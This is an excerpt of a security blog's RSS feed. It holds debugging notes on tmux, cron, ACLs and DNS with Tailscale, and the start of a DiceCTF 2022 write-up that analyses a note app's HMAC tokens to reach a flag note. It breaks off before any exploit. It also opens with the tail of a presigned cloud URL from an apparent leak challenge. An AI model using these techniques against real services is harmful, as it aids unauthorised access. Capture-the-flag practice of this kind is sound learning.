252F3He8pfi2PJMxAWJ3ZPs7MqDpelhqvxwFrojhVIOy5FjY68i1X%252FS260f7lEZ7RzRThLRa2y6AOP0QakvcowKWoSrOlYwhJ1koULzZyIbz7gh6tD9HgQwbr3CMuwh2vWLnXg7gTQc%252BmMKiQk8QGOrABsrRH6d6JpyD1v91mVvT0hu%252BEvTMmebimPJLGbOIFmnJT4Ps1JEa0isymDzidPGyVlTBb1HxvgHhMd%252FEBdrji2pVPkD2oO1TBxOKYMpRveJ0XgSlaTIOnua7G%252BPhb9MoEQQNl5LM2BpEk1gHXBK2%252FeHpDDl1rMvJdQMYx47xTViCMnhJX4%252F4rH9uABR64LYh6KfJY638uimP2WGnpbGtxjvmYCMLPbgqCOqkm1UQDM2k%253D%26X-Amz-Signature%3d11471c6d9f2220d5d090a41f154e1bd9dcb96474b41cb7e0b522d2276a6d7620&amp;#39;&lt;/span>
&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/div>&lt;p>&lt;img src="https://zerodaywolf.sh/gallery/tucsc-perimeter-leak/14-proxy-presigned-url.png" alt="">&lt;/p>
&lt;p>Bingo! Solved.&lt;/p></description></item><item><title>Fixing tmux Unicode and Italics Display Issues</title><link>https://zerodaywolf.sh/debugs/tmux-not-rendering-italics-unicode/</link><pubDate>Sun, 13 Apr 2025 14:08:00 +0530</pubDate><description>&lt;p>When tmux fails to properly display italics text or unicode characters.&lt;/p>
&lt;h2 id="root-cause">root cause&lt;/h2>
&lt;p>The issue occurs due to improper locale configuration in the shell environment.&lt;/p>
&lt;h2 id="solution">solution&lt;/h2>
&lt;p>Add the following to &lt;code>~/.bashrc&lt;/code>:&lt;/p>
&lt;div class="highlight">&lt;pre tabindex="0" class="chroma">&lt;code class="language-bash" data-lang="bash">&lt;span class="line">&lt;span class="cl">&lt;span class="nb">export&lt;/span> &lt;span class="nv">LC_ALL&lt;/span>&lt;span class="o">=&lt;/span>en_IN.UTF-8
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="nb">export&lt;/span> &lt;span class="nv">LANG&lt;/span>&lt;span class="o">=&lt;/span>en_IN.UTF-8
&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/div>&lt;p>This sets the proper locale environment variables that tmux needs to correctly render italics and unicode characters.&lt;/p></description></item><item><title>Scripts Failing When Run via crontab -e</title><link>https://zerodaywolf.sh/debugs/script-fails-in-cron/</link><pubDate>Fri, 28 Mar 2025 17:21:00 +0530</pubDate><description>&lt;p>When scripts work perfectly when run manually but fail mysteriously when executed via cron.&lt;/p>
&lt;h2 id="root-cause">root cause&lt;/h2>
&lt;p>This happens because of the minimal environment that cron has - it runs with very limited PATH, environment variables, and shell context compared to your interactive shell.&lt;/p>
&lt;h2 id="solution">solution&lt;/h2>
&lt;p>Reference: &lt;a href="https://stackoverflow.com/questions/20582224/shell-script-not-running-via-crontab-but-runs-fine-manually">https://stackoverflow.com/questions/20582224/shell-script-not-running-via-crontab-but-runs-fine-manually&lt;/a>&lt;/p>
&lt;p>&lt;strong>The fix:&lt;/strong> Manually add it to &lt;code>/etc/crontab&lt;/code> with the full path specification:&lt;/p>
&lt;div class="highlight">&lt;pre tabindex="0" class="chroma">&lt;code class="language-shell" data-lang="shell">&lt;span class="line">&lt;span class="cl">*/10 * * * * ghost /bin/bash /home/scripts/run.sh
&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/div>&lt;p>This approach:&lt;/p>
&lt;ul>
&lt;li>Uses absolute paths for both the shell (&lt;code>/bin/bash&lt;/code>) and script (&lt;code>/home/scripts/run.sh&lt;/code>)&lt;/li>
&lt;li>Specifies the user (&lt;code>ghost&lt;/code>) explicitly in the system crontab&lt;/li>
&lt;li>Avoids user-specific cron environment issues&lt;/li>
&lt;/ul>
&lt;p>&lt;strong>Additional troubleshooting:&lt;/strong>&lt;/p>
&lt;ul>
&lt;li>Source necessary profile files if needed&lt;/li>
&lt;li>Test scripts with &lt;code>env -i&lt;/code> to simulate the minimal cron environment&lt;/li>
&lt;/ul></description></item><item><title>Performance drop? Spike in CPU temp? Might be your fan!</title><link>https://zerodaywolf.sh/debugs/pc-fan-overheating-fix/</link><pubDate>Fri, 28 Mar 2025 16:00:00 +0530</pubDate><description>&lt;p>Troubleshooting performance problems caused by improper heatsink mounting.&lt;/p>
&lt;h2 id="symptoms">symptoms&lt;/h2>
&lt;ul>
&lt;li>Lag in games&lt;/li>
&lt;li>General performance issues&lt;/li>
&lt;/ul>
&lt;h2 id="root-cause">root cause&lt;/h2>
&lt;p>If the heatsink fan is not fixed properly it causes overheating which causes lag in games and general performance issues.&lt;/p>
&lt;h2 id="solution">solution&lt;/h2>
&lt;p>Reseating the fan properly fixed it:&lt;/p>
&lt;ul>
&lt;li>twist the fan pegs to the left&lt;/li>
&lt;li>pull the fan pegs&lt;/li>
&lt;li>twist to the right&lt;/li>
&lt;li>push it in one by one&lt;/li>
&lt;/ul></description></item><item><title>ACLs and cp</title><link>https://zerodaywolf.sh/debugs/recursively-assign-acl-linux/</link><pubDate>Sun, 23 Mar 2025 17:17:00 +0530</pubDate><description>&lt;p>Set Access Control Lists (ACLs) that apply to directories and all future files created within them.&lt;/p>
&lt;h2 id="commands">commands&lt;/h2>
&lt;div class="highlight">&lt;pre tabindex="0" class="chroma">&lt;code class="language-shell" data-lang="shell">&lt;span class="line">&lt;span class="cl">sudo setfacl -R -d -m g:ghost:rwx /home/ghost
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">sudo setfacl -R -m g:ghost:rwx /home/ghost
&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/div>&lt;p>These commands apply to all new files and directories created recursively. The &lt;code>-d&lt;/code> flag sets default ACLs for future files, while the second command applies to existing files.&lt;/p>
&lt;h2 id="shortcomings">shortcomings&lt;/h2>
&lt;ul>
&lt;li>&lt;code>cp&lt;/code> does not respect ACLs - see: &lt;a href="https://serverfault.com/questions/183800/why-does-cp-not-respect-acls">https://serverfault.com/questions/183800/why-does-cp-not-respect-acls&lt;/a>&lt;/li>
&lt;/ul>
&lt;p>This means files copied with &lt;code>cp&lt;/code> will lose their ACL settings and revert to standard permissions.&lt;/p></description></item><item><title>Fixing macOS DNS Resolution with Tailscale</title><link>https://zerodaywolf.sh/debugs/macos-dns-tailscale-fix/</link><pubDate>Wed, 26 Feb 2025 13:19:00 +0530</pubDate><description>&lt;p>Fixing DNS resolution issues when using Tailscale on macOS.&lt;/p>
&lt;h2 id="environment">environment&lt;/h2>
&lt;ul>
&lt;li>work laptop&lt;/li>
&lt;li>m4 pro&lt;/li>
&lt;li>OSX 15.3.1&lt;/li>
&lt;/ul>
&lt;h2 id="solution">solution&lt;/h2>
&lt;ol>
&lt;li>
&lt;p>&lt;strong>Run tailscaled in a tmux session&lt;/strong> for better process management&lt;/p>
&lt;/li>
&lt;li>
&lt;p>&lt;strong>Start tailscale with proper flags:&lt;/strong>&lt;/p>
&lt;div class="highlight">&lt;pre tabindex="0" class="chroma">&lt;code class="language-bash" data-lang="bash">&lt;span class="line">&lt;span class="cl">tailscale up --accept-dns --accept-routes
&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/div>&lt;/li>
&lt;li>
&lt;p>&lt;strong>Configure macOS DNS resolver:&lt;/strong>
Create &lt;code>/etc/resolver/kenobi.lan&lt;/code> with &lt;code>nameserver 100.100.100.100&lt;/code>&lt;/p>
&lt;/li>
&lt;li>
&lt;p>&lt;strong>Result:&lt;/strong>
Now browsers can find &lt;code>vault.kenobi.lan&lt;/code> and other internal domains&lt;/p>
&lt;/li>
&lt;/ol></description></item><item><title>.bashrc not sourced - tmux and login shells</title><link>https://zerodaywolf.sh/debugs/bashrc-not-sourced-tmux/</link><pubDate>Fri, 03 Jan 2025 12:25:00 +0530</pubDate><description>&lt;h2 id="problem">problem&lt;/h2>
&lt;p>I noticed that my &lt;code>.bashrc&lt;/code> was not getting sourced in tmux sessions.&lt;/p>
&lt;h2 id="root-cause">root cause&lt;/h2>
&lt;p>Turns out that &lt;code>.bashrc&lt;/code> is only sourced on non-login shells (see &lt;code>man bash&lt;/code>). You can identify if a shell is a login shell with the following command:&lt;/p>
&lt;div class="highlight">&lt;pre tabindex="0" class="chroma">&lt;code class="language-shell" data-lang="shell">&lt;span class="line">&lt;span class="cl">&lt;span class="nb">echo&lt;/span> &lt;span class="nv">$-&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="c1"># if output is -bash then its a login shell, else non-login shell&lt;/span>
&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/div>&lt;p>&lt;strong>The Issue:&lt;/strong> All my shells that tmux was spawning were login shells! Hence &lt;code>.bashrc&lt;/code> was not sourced but rather &lt;code>/etc/profile&lt;/code>, &lt;code>.profile&lt;/code> were being sourced on each new terminal.&lt;/p>
&lt;h2 id="why-this-is-problematic">why this is problematic&lt;/h2>
&lt;p>See why that&amp;rsquo;s not recommended: &lt;a href="https://www.gridbugs.org/daily/tmux-runs-a-login-shell-by-default/">https://www.gridbugs.org/daily/tmux-runs-a-login-shell-by-default/&lt;/a>&lt;/p>
&lt;p>&lt;strong>TL;DR:&lt;/strong> It&amp;rsquo;s because things like variable expansion will get messed up. For example, &lt;code>$PATH&lt;/code> is defined in &lt;code>.profile&lt;/code> and usually it&amp;rsquo;s defined with itself being concatenated at the end:&lt;/p>
&lt;div class="highlight">&lt;pre tabindex="0" class="chroma">&lt;code class="language-bash" data-lang="bash">&lt;span class="line">&lt;span class="cl">&lt;span class="nb">export&lt;/span> &lt;span class="nv">PATH&lt;/span>&lt;span class="o">=&lt;/span>/bin:/sbin:&lt;span class="si">${&lt;/span>&lt;span class="nv">PATH&lt;/span>&lt;span class="si">}&lt;/span>
&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/div>&lt;p>So each time a new login shell is spawned, the PATH variable is concatenated making it longer and longer.&lt;/p>
&lt;h2 id="the-fix">the fix&lt;/h2>
&lt;p>From &lt;a href="https://www.gridbugs.org/daily/tmux-runs-a-login-shell-by-default/">https://www.gridbugs.org/daily/tmux-runs-a-login-shell-by-default/&lt;/a>:&lt;/p>
&lt;blockquote>
&lt;p>To have tmux run a non-login shell, add this to .tmux.conf:&lt;/p>&lt;/blockquote>
&lt;div class="highlight">&lt;pre tabindex="0" class="chroma">&lt;code class="language-bash" data-lang="bash">&lt;span class="line">&lt;span class="cl">&lt;span class="nb">set&lt;/span> -g default-command &lt;span class="s2">&amp;#34;&lt;/span>&lt;span class="si">${&lt;/span>&lt;span class="nv">SHELL&lt;/span>&lt;span class="si">}&lt;/span>&lt;span class="s2">&amp;#34;&lt;/span>
&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/div>&lt;h2 id="references">references&lt;/h2>
&lt;ul>
&lt;li>&lt;a href="https://discourse.nixos.org/t/bash-not-sourcing-bashrc/22859/6">https://discourse.nixos.org/t/bash-not-sourcing-bashrc/22859/6&lt;/a>&lt;/li>
&lt;li>&lt;a href="http://hayne.net/MacDev/Notes/unixFAQ.html#shellStartup">http://hayne.net/MacDev/Notes/unixFAQ.html#shellStartup&lt;/a>&lt;/li>
&lt;li>&lt;a href="https://www.gridbugs.org/daily/tmux-runs-a-login-shell-by-default/">https://www.gridbugs.org/daily/tmux-runs-a-login-shell-by-default/&lt;/a>&lt;/li>
&lt;/ul></description></item><item><title>Resolving DNS Conflicts with systemd-resolved and Tailscale</title><link>https://zerodaywolf.sh/debugs/fix-dns-systemd-resolved/</link><pubDate>Fri, 01 Nov 2024 10:31:00 +0530</pubDate><description>&lt;p>Resolving DNS configuration conflicts between NetworkManager, systemd-resolved, and Tailscale.&lt;/p>
&lt;h2 id="problem">problem&lt;/h2>
&lt;p>The DNS configuration was not applied correctly; the system continued using the DNS server provided by DHCP (192.168.1.1).&lt;/p>
&lt;h2 id="root-cause">root cause&lt;/h2>
&lt;p>NM was taking DNS from DHCP and sending it to &lt;code>systemd-resolved&lt;/code> which had the stub resolver symlinked to resolv.conf.&lt;/p>
&lt;h2 id="solution">solution&lt;/h2>
&lt;h3 id="step-1-configure-systemd-resolved">step 1: configure systemd-resolved&lt;/h3>
&lt;ul>
&lt;li>
&lt;p>Enabled &lt;code>systemd-resolved&lt;/code> and symlinked &lt;code>/etc/resolv.conf&lt;/code> to &lt;code>/run/systemd/resolve/resolv.conf&lt;/code>. Also disabled the stub-resolver because it was conflicting with Tailscale.&lt;/p>
&lt;/li>
&lt;li>
&lt;p>Created &lt;code>/etc/systemd/resolved.conf.d&lt;/code> directory and added &lt;code>00-custom.conf&lt;/code> since &lt;code>*.conf&lt;/code> files under &lt;code>resolved.conf.d&lt;/code> are automatically read by &lt;code>systemd-resolved&lt;/code>.&lt;/p>
&lt;/li>
&lt;/ul>
&lt;p>&lt;strong>File:&lt;/strong> &lt;code>/etc/systemd/resolved.conf.d/00-custom.conf&lt;/code>&lt;/p>
&lt;div class="highlight">&lt;pre tabindex="0" class="chroma">&lt;code class="language-shell" data-lang="shell">&lt;span class="line">&lt;span class="cl">&lt;span class="o">[&lt;/span>Resolve&lt;span class="o">]&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="nv">DNS&lt;/span>&lt;span class="o">=&lt;/span>1.1.1.1
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="nv">DNSStubListener&lt;/span>&lt;span class="o">=&lt;/span>no
&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/div>&lt;h3 id="step-2-configure-networkmanager">step 2: configure networkmanager&lt;/h3>
&lt;p>NetworkManager was also taking DNS from DHCP and forwarding it to &lt;code>systemd-resolved&lt;/code>, so the configuration needed to be modified. NM reads all drop-in &lt;code>*.conf&lt;/code> files from &lt;code>/etc/NetworkManager/conf.d/&lt;/code>.&lt;/p>
&lt;p>&lt;strong>File:&lt;/strong> &lt;code>/etc/NetworkManager/conf.d/dns.conf&lt;/code>&lt;/p>
&lt;div class="highlight">&lt;pre tabindex="0" class="chroma">&lt;code class="language-shell" data-lang="shell">&lt;span class="line">&lt;span class="cl">&lt;span class="o">[&lt;/span>main&lt;span class="o">]&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="nv">dns&lt;/span>&lt;span class="o">=&lt;/span>none
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">systemd-resolved&lt;span class="o">=&lt;/span>&lt;span class="nb">false&lt;/span>
&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/div></description></item><item><title>Top 10 Docker Hardening Best Practices</title><link>https://zerodaywolf.sh/blog/top-10-docker-hardening-best-practices/</link><pubDate>Thu, 23 Jun 2022 01:40:58 +0530</pubDate><description/></item><item><title>Knock Knock (DiceCTF 2022)</title><link>https://zerodaywolf.sh/writeups/dicectf22-knock-knock/</link><pubDate>Sat, 05 Feb 2022 19:13:14 +0530</pubDate><description>&lt;p>Navigating to the web app &lt;code>knock-knock.mc.ax&lt;/code> we see a simple form with a textbox. &lt;code>Dockerfile&lt;/code> and &lt;code>index.js&lt;/code>, which is basically the server, is given. It&amp;rsquo;s a simple web app.&lt;/p>
&lt;h2 id="application-logic">application logic&lt;/h2>
&lt;p>Sending a POST request to &lt;code>/create&lt;/code> like so:&lt;/p>
&lt;div class="highlight">&lt;pre tabindex="0" class="chroma">&lt;code class="language-http" data-lang="http">&lt;span class="line">&lt;span class="cl">&lt;span class="nf">POST&lt;/span> &lt;span class="nn">/create&lt;/span> &lt;span class="kr">HTTP&lt;/span>&lt;span class="o">/&lt;/span>&lt;span class="m">2&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="n">Host&lt;/span>&lt;span class="o">:&lt;/span> &lt;span class="l">knock-knock.mc.ax&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="n">User-Agent&lt;/span>&lt;span class="o">:&lt;/span> &lt;span class="l">Mozilla/5.0 (X11; Linux x86_64; rv:91.0) Gecko/20100101 Firefox/91.0&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="n">Accept&lt;/span>&lt;span class="o">:&lt;/span> &lt;span class="l">text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="n">Accept-Language&lt;/span>&lt;span class="o">:&lt;/span> &lt;span class="l">en-US,en;q=0.5&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="n">Accept-Encoding&lt;/span>&lt;span class="o">:&lt;/span> &lt;span class="l">gzip, deflate&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="n">Content-Type&lt;/span>&lt;span class="o">:&lt;/span> &lt;span class="l">application/x-www-form-urlencoded&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="n">Content-Length&lt;/span>&lt;span class="o">:&lt;/span> &lt;span class="l">9&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="n">Origin&lt;/span>&lt;span class="o">:&lt;/span> &lt;span class="l">https://knock-knock.mc.ax&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="n">Referer&lt;/span>&lt;span class="o">:&lt;/span> &lt;span class="l">https://knock-knock.mc.ax/&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="n">Upgrade-Insecure-Requests&lt;/span>&lt;span class="o">:&lt;/span> &lt;span class="l">1&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="n">Sec-Fetch-Dest&lt;/span>&lt;span class="o">:&lt;/span> &lt;span class="l">document&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="n">Sec-Fetch-Mode&lt;/span>&lt;span class="o">:&lt;/span> &lt;span class="l">navigate&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="n">Sec-Fetch-Site&lt;/span>&lt;span class="o">:&lt;/span> &lt;span class="l">same-origin&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="n">Sec-Fetch-User&lt;/span>&lt;span class="o">:&lt;/span> &lt;span class="l">?1&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="n">Te&lt;/span>&lt;span class="o">:&lt;/span> &lt;span class="l">trailers&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="n">Connection&lt;/span>&lt;span class="o">:&lt;/span> &lt;span class="l">close&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">data=abcd
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">HTTP/2 302 Found
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">Content-Type: text/html; charset=utf-8
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">Date: Sat, 05 Feb 2022 10:14:59 GMT
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">Location: /note?id=785&amp;amp;token=7e5594a47aca2fa0692275a815f269745972b03fa64cd0917b548b421394f44a
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">Vary: Accept
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">X-Powered-By: Express
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">Content-Length: 218
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&amp;lt;p&amp;gt;Found. Redirecting to &amp;lt;a href=&amp;#34;/note?id=785&amp;amp;amp;token=7e5594a47aca2fa0692275a815f269745972b03fa64cd0917b548b421394f44a&amp;#34;&amp;gt;/note?id=785&amp;amp;amp;token=7e5594a47aca2fa0692275a815f269745972b03fa64cd0917b548b421394f44a&amp;lt;/a&amp;gt;&amp;lt;/p&amp;gt;
&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/div>&lt;p>stores the value &lt;code>abcd&lt;/code> in an array called &lt;code>notes&lt;/code> and generates a HMAC token with which we can later retrieve this note. Keep in mind, each time a POST request like the above is sent to the web app, a new token is generated and we can retrieve only &lt;em>that&lt;/em> note with it. An &lt;code>id&lt;/code> is also assigned to the note upon creation which is basically a sequential identifier. This id is shown to us in the 302 redirect that comes after we send the POST request.&lt;/p>
&lt;p>Retrieving a note is done by sending a GET request to &lt;code>/note&lt;/code> with the id and token of the note as parameters.&lt;/p>
&lt;div class="highlight">&lt;pre tabindex="0" class="chroma">&lt;code class="language-http" data-lang="http">&lt;span class="line">&lt;span class="cl">&lt;span class="nf">GET&lt;/span> &lt;span class="nn">/note?id=785&amp;amp;token=7e5594a47aca2fa0692275a815f269745972b03fa64cd0917b548b421394f44a&lt;/span> &lt;span class="kr">HTTP&lt;/span>&lt;span class="o">/&lt;/span>&lt;span class="m">2&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="n">Host&lt;/span>&lt;span class="o">:&lt;/span> &lt;span class="l">knock-knock.mc.ax&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="n">User-Agent&lt;/span>&lt;span class="o">:&lt;/span> &lt;span class="l">Mozilla/5.0 (X11; Linux x86_64; rv:91.0) Gecko/20100101 Firefox/91.0&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="n">Accept&lt;/span>&lt;span class="o">:&lt;/span> &lt;span class="l">text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="n">Accept-Language&lt;/span>&lt;span class="o">:&lt;/span> &lt;span class="l">en-US,en;q=0.5&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="n">Accept-Encoding&lt;/span>&lt;span class="o">:&lt;/span> &lt;span class="l">gzip, deflate&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="n">Origin&lt;/span>&lt;span class="o">:&lt;/span> &lt;span class="l">https://knock-knock.mc.ax&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="n">Referer&lt;/span>&lt;span class="o">:&lt;/span> &lt;span class="l">https://knock-knock.mc.ax/&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="n">Upgrade-Insecure-Requests&lt;/span>&lt;span class="o">:&lt;/span> &lt;span class="l">1&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="n">Sec-Fetch-Dest&lt;/span>&lt;span class="o">:&lt;/span> &lt;span class="l">document&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="n">Sec-Fetch-Mode&lt;/span>&lt;span class="o">:&lt;/span> &lt;span class="l">navigate&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="n">Sec-Fetch-Site&lt;/span>&lt;span class="o">:&lt;/span> &lt;span class="l">same-origin&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="n">Sec-Fetch-User&lt;/span>&lt;span class="o">:&lt;/span> &lt;span class="l">?1&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="n">Te&lt;/span>&lt;span class="o">:&lt;/span> &lt;span class="l">trailers&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="g">HTTP/2 200 OK
&lt;/span>&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="g">Content-Type: text/html; charset=utf-8
&lt;/span>&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="g">Date: Sat, 05 Feb 2022 10:34:19 GMT
&lt;/span>&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="g">Etag: W/&amp;#34;4-gf6L/odXbD7LIkJvjleEc4KRes8&amp;#34;
&lt;/span>&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="g">X-Powered-By: Express
&lt;/span>&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="g">Content-Length: 4
&lt;/span>&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="g">
&lt;/span>&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="g">abcd
&lt;/span>&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/div>&lt;h2 id="source-code-analysis">source code analysis&lt;/h2>
&lt;p>Looking closely at the code, we see this&lt;/p>
&lt;div class="highlight">&lt;pre tabindex="0" class="chroma">&lt;code class="language-js" data-lang="js">&lt;span class="line">&lt;span class="cl">&lt;span class="kr">const&lt;/span> &lt;span class="nx">db&lt;/span> &lt;span class="o">=&lt;/span> &lt;span class="k">new&lt;/span> &lt;span class="nx">Database&lt;/span>&lt;span class="p">();&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="nx">db&lt;/span>&lt;span class="p">.&lt;/span>&lt;span class="nx">createNote&lt;/span>&lt;span class="p">({&lt;/span> &lt;span class="nx">data&lt;/span>&lt;span class="o">:&lt;/span> &lt;span class="nx">process&lt;/span>&lt;span class="p">.&lt;/span>&lt;span class="nx">env&lt;/span>&lt;span class="p">.&lt;/span>&lt;span class="nx">FLAG&lt;/span> &lt;span class="p">});&lt;/span>
&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/div>&lt;p>This is what &lt;code>createNote()&lt;/code> looks like&lt;/p>
&lt;div class="highlight">&lt;pre tabindex="0" class="chroma">&lt;code class="language-js" data-lang="js">&lt;span class="line">&lt;span class="cl">&lt;span class="nx">createNote&lt;/span>&lt;span class="p">({&lt;/span> &lt;span class="nx">data&lt;/span> &lt;span class="p">})&lt;/span> &lt;span class="p">{&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="kr">const&lt;/span> &lt;span class="nx">id&lt;/span> &lt;span class="o">=&lt;/span> &lt;span class="k">this&lt;/span>&lt;span class="p">.&lt;/span>&lt;span class="nx">notes&lt;/span>&lt;span class="p">.&lt;/span>&lt;span class="nx">length&lt;/span>&lt;span class="p">;&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="k">this&lt;/span>&lt;span class="p">.&lt;/span>&lt;span class="nx">notes&lt;/span>&lt;span class="p">.&lt;/span>&lt;span class="nx">push&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="nx">data&lt;/span>&lt;span class="p">);&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="k">return&lt;/span> &lt;span class="p">{&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="nx">id&lt;/span>&lt;span class="p">,&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="nx">token&lt;/span>&lt;span class="o">:&lt;/span> &lt;span class="k">this&lt;/span>&lt;span class="p">.&lt;/span>&lt;span class="nx">generateToken&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="nx">id&lt;/span>&lt;span class="p">),&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="p">};&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="p">}&lt;/span>
&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/div>&lt;p>This means that when the app is run, right after &lt;code>db&lt;/code> is initalized, &lt;code>createNode()&lt;/code> is run with the environment variable FLAG (the flag we need) as an argument. So, clearly the first element in the &lt;code>notes&lt;/code> array (index 0) contains the flag that we need.&lt;/p>
&lt;p>So now we know the index at which our flag is present. What remains is the HMAC token. Let&amp;rsquo;s take a look at the &lt;code>generateToken()&lt;/code> function.&lt;/p>
&lt;div class="highlight">&lt;pre tabindex="0" class="chroma">&lt;code class="language-js" data-lang="js">&lt;span class="line">&lt;span class="cl">&lt;span class="nx">generateToken&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="nx">id&lt;/span>&lt;span class="p">)&lt;/span> &lt;span class="p">{&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="k">return&lt;/span> &lt;span class="nx">crypto&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="p">.&lt;/span>&lt;span class="nx">createHmac&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="s1">&amp;#39;sha256&amp;#39;&lt;/span>&lt;span class="p">,&lt;/span> &lt;span class="k">this&lt;/span>&lt;span class="p">.&lt;/span>&lt;span class="nx">secret&lt;/span>&lt;span class="p">)&lt;/span>
